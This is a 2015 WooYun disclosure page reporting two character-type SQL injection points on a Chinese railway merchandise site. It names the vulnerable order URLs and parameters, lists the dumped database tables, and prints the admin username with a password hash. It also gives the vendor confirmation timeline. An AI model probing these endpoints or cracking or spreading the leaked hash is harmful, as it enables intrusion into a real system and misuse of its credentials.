当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0122840

漏洞标题：中国铁路95306网某站两处sql注入

相关厂商：12306

漏洞作者： wps2015

提交时间：2015-06-26 11:34

修复时间：2015-08-15 09:40

公开时间：2015-08-15 09:40

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-06-26： 细节已通知厂商并且等待厂商处理中
2015-07-01： 厂商已经确认，细节仅向厂商公开
2015-07-11： 细节向核心白帽子及相关领域专家公开
2015-07-21： 细节向普通白帽子公开
2015-07-31： 细节向实习白帽子公开
2015-08-15： 细节向公众公开

简要描述：

偶然听说新火车票上居然打广告，大家能忍？

详细说明：

问题出在95306商城站：http://xsp.95306.cn/
先注册一个账号wooyun wooyun

1.png


在商城随意点击商品，添加到购物车，然后点击提交订单，进入支付页面
http://xsp.95306.cn/payto.asp?orderlist=2015626181159

2.png


orderlist存在注入，字符型

3.png


Database: stepgozsdata
[24 tables]
+------------------+
| KDZF             |
| about            |
| adkefu           |
| admin            |
| banner           |
| cart             |
| complain         |
| hzxx             |
| i_pic            |
| keywords         |
| msg              |
| news             |
| orderfahuo       |
| orderlist        |
| pro              |
| pro_addattention |
| pro_bclass       |
| pro_brand        |
| pro_class        |
| pro_consultation |
| pro_fav          |
| pro_score        |
| vip              |
| vip_recived      |
+------------------+


订单神马的是只有几千单，没开多久呀，管理员
+----+------------------+-----------+
| id | adminpwd | adminname |
+----+------------------+-----------+
| 1 | 7a57a5a743894a0e | admin |
+----+------------------+-----------+
另一处sql注入点：http://xsp.95306.cn/order_main.asp?id=2015626172159
位于查看订单处

漏洞证明：

4.png

修复方案：

过滤

版权声明：转载请注明来源 wps2015@乌云

漏洞回应

厂商回应：

危害等级：低

漏洞Rank：5

确认时间：2015-07-01 09:38

厂商回复：

谢谢

最新状态：

暂无